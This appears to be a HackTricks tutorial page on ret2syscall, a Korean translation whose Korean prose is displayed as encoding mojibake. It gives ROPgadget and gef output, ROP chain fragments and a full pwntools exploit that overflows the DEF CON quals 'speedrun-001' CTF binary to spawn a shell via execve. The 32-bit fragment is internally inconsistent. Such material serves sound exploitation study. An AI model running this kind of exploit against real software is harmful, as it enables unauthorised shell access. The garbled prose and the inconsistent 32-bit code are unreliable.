Ret2syscall
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Basic Information
์ด๊ฒ์ Ret2lib์ ์ ์ฌํ์ง๋ง, ์ด ๊ฒฝ์ฐ์๋ ๋ผ์ด๋ธ๋ฌ๋ฆฌ์ ํจ์๋ฅผ ํธ์ถํ์ง ์์ต๋๋ค. ์ด ๊ฒฝ์ฐ, ๋ชจ๋ ๊ฒ์ด /bin/sh๋ฅผ ์คํํ๊ธฐ ์ํด sys_execve ์์คํ
ํธ์ถ์ ํธ์ถํ๋๋ก ์ค๋น๋ฉ๋๋ค. ์ด ๊ธฐ์ ์ ์ผ๋ฐ์ ์ผ๋ก ์ ์ ์ผ๋ก ์ปดํ์ผ๋ ๋ฐ์ด๋๋ฆฌ์์ ์ํ๋๋ฏ๋ก, ๋ง์ ๊ฐ์ ฏ๊ณผ ์์คํ
ํธ์ถ ๋ช
๋ น์ด๊ฐ ์์ ์ ์์ต๋๋ค.
syscall ํธ์ถ์ ์ค๋นํ๊ธฐ ์ํด์๋ ๋ค์๊ณผ ๊ฐ์ ๊ตฌ์ฑ์ด ํ์ํฉ๋๋ค:
rax: 59 sys_execve ์ง์ rdi: "/bin/sh"์ ๋ํ ํฌ์ธํฐ, ์คํํ ํ์ผ ์ง์ rsi: 0, ์ ๋ฌ๋ ์ธ์ ์์ ์ง์ rdx: 0, ์ ๋ฌ๋ ํ๊ฒฝ ๋ณ์ ์์ ์ง์
๋ฐ๋ผ์ ๊ธฐ๋ณธ์ ์ผ๋ก /bin/sh ๋ฌธ์์ด์ ์ด๋๊ฐ์ ์์ฑํ ๋ค์ syscall์ ์ํํด์ผ ํฉ๋๋ค(์คํ์ ์ ์ดํ๊ธฐ ์ํด ํ์ํ ํจ๋ฉ์ ์ธ์งํด์ผ ํจ). ์ด๋ฅผ ์ํด, ์๋ ค์ง ์์ญ์ /bin/sh๋ฅผ ์์ฑํ ์ ์๋ ๊ฐ์ ฏ์ด ํ์ํฉ๋๋ค.
Tip
ํธ์ถํ ์ ์๋ ๋ ๋ค๋ฅธ ํฅ๋ฏธ๋ก์ด ์์คํ ํธ์ถ์ **
mprotect**๋ก, ์ด๋ ๊ณต๊ฒฉ์๊ฐ ๋ฉ๋ชจ๋ฆฌ์ ํ์ด์ง ๊ถํ์ ์์ ํ ์ ์๊ฒ ํด์ค๋๋ค. ์ด๋ ret2shellcode์ ๊ฒฐํฉ๋ ์ ์์ต๋๋ค.
Register gadgets
์ด ๋ ์ง์คํฐ๋ค์ ์ ์ดํ๋ ๋ฐฉ๋ฒ์ ์ฐพ๋ ๊ฒ๋ถํฐ ์์ํฉ์๋ค:
ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x0000000000415664 : pop rax ; ret
0x0000000000400686 : pop rdi ; ret
0x00000000004101f3 : pop rsi ; ret
0x00000000004498b5 : pop rdx ; ret
์ด ์ฃผ์๋ค์ ์ฌ์ฉํ๋ฉด ์คํ์ ๋ด์ฉ์ ์ฐ๊ณ ๋ ์ง์คํฐ์ ๋ก๋ํ ์ ์์ต๋๋ค.
๋ฌธ์์ด ์ฐ๊ธฐ
์ฐ๊ธฐ ๊ฐ๋ฅํ ๋ฉ๋ชจ๋ฆฌ
๋จผ์ ๋ฉ๋ชจ๋ฆฌ์์ ์ฐ๊ธฐ ๊ฐ๋ฅํ ์์น๋ฅผ ์ฐพ์์ผ ํฉ๋๋ค.
gef> vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
๋ฉ๋ชจ๋ฆฌ์ ๋ฌธ์์ด ์ฐ๊ธฐ
๊ทธ๋ฐ ๋ค์ ์ด ์ฃผ์์ ์์์ ๋ด์ฉ์ ์ธ ์ ์๋ ๋ฐฉ๋ฒ์ ์ฐพ์์ผ ํฉ๋๋ค.
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
ROP ์ฒด์ธ ์๋ํ
๋ค์ ๋ช
๋ น์ ์ฐ๊ธฐ-๋ฌด์-์ด๋์ ๊ฐ์ ฏ๊ณผ ์์คํ
ํธ์ถ ๋ช
๋ น์ด ์์ ๋ ์ ์ ๋ฐ์ด๋๋ฆฌ๋ฅผ ๊ธฐ๋ฐ์ผ๋ก ์ ์ฒด sys_execve ROP ์ฒด์ธ์ ์์ฑํฉ๋๋ค:
ROPgadget --binary vuln --ropchain
32 ๋นํธ
'''
Lets write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop += popRdx # place value into EAX
rop += "/bin" # 4 bytes at a time
rop += popRax # place value into edx
rop += p32(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx
rop += popRdx
rop += "//sh"
rop += popRax
rop += p32(0x6b6000 + 4)
rop += writeGadget
64 ๋นํธ
'''
Lets write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx
๋ถ์กฑํ ๊ฐ์ ฏ
๊ฐ์ ฏ์ด ๋ถ์กฑํ ๊ฒฝ์ฐ, ์๋ฅผ ๋ค์ด ๋ฉ๋ชจ๋ฆฌ์ /bin/sh๋ฅผ ์ฐ๊ธฐ ์ํด, ์คํ์์ ๋ชจ๋ ๋ ์ง์คํฐ ๊ฐ(RIP ๋ฐ ํ๋ผ๋ฏธํฐ ๋ ์ง์คํฐ ํฌํจ)์ ์ ์ดํ๊ธฐ ์ํด SROP ๊ธฐ๋ฒ์ ์ฌ์ฉํ ์ ์์ต๋๋ค:
SROP - Sigreturn-Oriented Programming
์ต์คํ๋ก์ ์์
from pwn import *
target = process('./speedrun-001')
#gdb.attach(target, gdbscript = 'b *0x400bad')
# Establish our ROP Gadgets
popRax = p64(0x415664)
popRdi = p64(0x400686)
popRsi = p64(0x4101f3)
popRdx = p64(0x4498b5)
# 0x000000000048d251 : mov qword ptr [rax], rdx ; ret
writeGadget = p64(0x48d251)
# Our syscall gadget
syscall = p64(0x40129c)
'''
Here is the assembly equivalent for these blocks
write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000)
rop += writeGadget
'''
Prep the four registers with their arguments, and make the syscall
pop rax, 0x3b
pop rdi, 0x6b6000
pop rsi, 0x0
pop rdx, 0x0
syscall
'''
rop += popRax
rop += p64(0x3b)
rop += popRdi
rop += p64(0x6b6000)
rop += popRsi
rop += p64(0)
rop += popRdx
rop += p64(0)
rop += syscall
# Add the padding to the saved return address
payload = "0"*0x408 + rop
# Send the payload, drop to an interactive shell to use our new shell
target.sendline(payload)
target.interactive()
๋ค๋ฅธ ์์ ๋ฐ ์ฐธ๊ณ ์๋ฃ
- https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html
- 64๋นํธ, PIE ์์, nx, ๋ฉ๋ชจ๋ฆฌ์
execve๋ฅผ ํธ์ถํ๊ณ ๊ทธ๊ณณ์ผ๋ก ์ ํํ๋ ROP๋ฅผ ์์ฑํฉ๋๋ค. - https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html
- 64๋นํธ, nx, PIE ์์, ๋ฉ๋ชจ๋ฆฌ์
execve๋ฅผ ํธ์ถํ๊ณ ๊ทธ๊ณณ์ผ๋ก ์ ํํ๋ ROP๋ฅผ ์์ฑํฉ๋๋ค. ์คํ์ ์ํ ์ฐ์ฐ์ ์ํํ๋ ํจ์๋ฅผ ์์ฑํ๊ธฐ ์ํด ์ ์ฉ๋ฉ๋๋ค. - https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html
- 64๋นํธ, PIE ์์, nx, BF ์นด๋๋ฆฌ, ๋ฉ๋ชจ๋ฆฌ์
execve๋ฅผ ํธ์ถํ๊ณ ๊ทธ๊ณณ์ผ๋ก ์ ํํ๋ ROP๋ฅผ ์์ฑํฉ๋๋ค.
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


